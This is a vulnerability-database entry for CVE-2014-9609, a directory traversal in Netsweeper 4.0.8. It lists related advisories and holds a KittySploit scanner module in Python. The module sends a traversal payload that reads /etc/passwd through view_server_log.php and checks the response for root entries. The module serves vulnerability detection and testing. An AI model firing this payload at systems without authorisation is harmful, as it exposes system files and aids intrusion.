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Netsweeper 4.0.8 - Directory Traversal Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Remote attackers can list directory contents via directory traversal in Netsweeper.

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zdt
zdt
Netsweeper 4.0.8 - Multiple Vulnerabilities
13 Aug 201500:00
–zdt
cnvd
CNVD
Netsweeper Path Traversal Vulnerability
20 Feb 202000:00
–cnvd
cve
CVE
CVE-2014-9609
19 Feb 202019:47
–cve
cvelist
Cvelist
CVE-2014-9609
19 Feb 202019:47
–cvelist
nuclei
Nuclei
Netsweeper 4.0.8 - Directory Traversal
14 Oct 202602:05
–nuclei
nvd
NVD
CVE-2014-9609
19 Feb 202020:15
–nvd
prion
Prion
Directory traversal
19 Feb 202020:15
–prion
ptsecurity
Positive Technologies
PT-2020-7781
19 Feb 202000:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2014-9609: Improper Limitation of a Pathname to a Restricted Directory
19 Feb 202000:00
–rapid7
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""A directory traversal vulnerability in webadmin/reporter/view_server_log."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Netsweeper 4.0.8 - Directory Traversal Detection',
        'description': 'A directory traversal vulnerability in webadmin/reporter/view_server_log.php in Netsweeper before 3.1.10, 4.0.x before 4.0.9, and 4.1.x before 4.1.2 allows remote attackers to list directory contents via a .. (dot dot) in the log parameter in a stats action.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2014', 'netsweeper', 'lfi', 'packetstorm', 'xss', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz',
            'https://nvd.nist.gov/vuln/detail/CVE-2014-9609',
            'http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html',
            'https://github.com/ARPSyndicate/kenzer-templates',
        ],
        'cve': 'CVE-2014-9609',
    }

    def run(self):
        r = self.http_request(method="GET", path='/webadmin/reporter/view_server_log.php?act=stats&filename=log&offset=1&count=1&sortorder=0&filter=0&log=../../../../../../etc/passwd', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_regexes = ('root:.*:0:0:',)
        if (any(re.search(rx, body, 0) for rx in body_regexes)):
            self.set_info(
                severity='medium',
                reason="Netsweeper 4.0.8 - Directory Traversal detected",
                path='/webadmin/reporter/view_server_log.php?act=stats&filename=log&offset=1&count=1&sortorder=0&filter=0&log=../../../../../../etc/passwd',
            )
            return True
        return False

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28 Jul 2026 11:27Current
5.9Medium risk
Vulners AI Score5.9
CVSS 25
CVSS 3.15.3
EPSS0.12631
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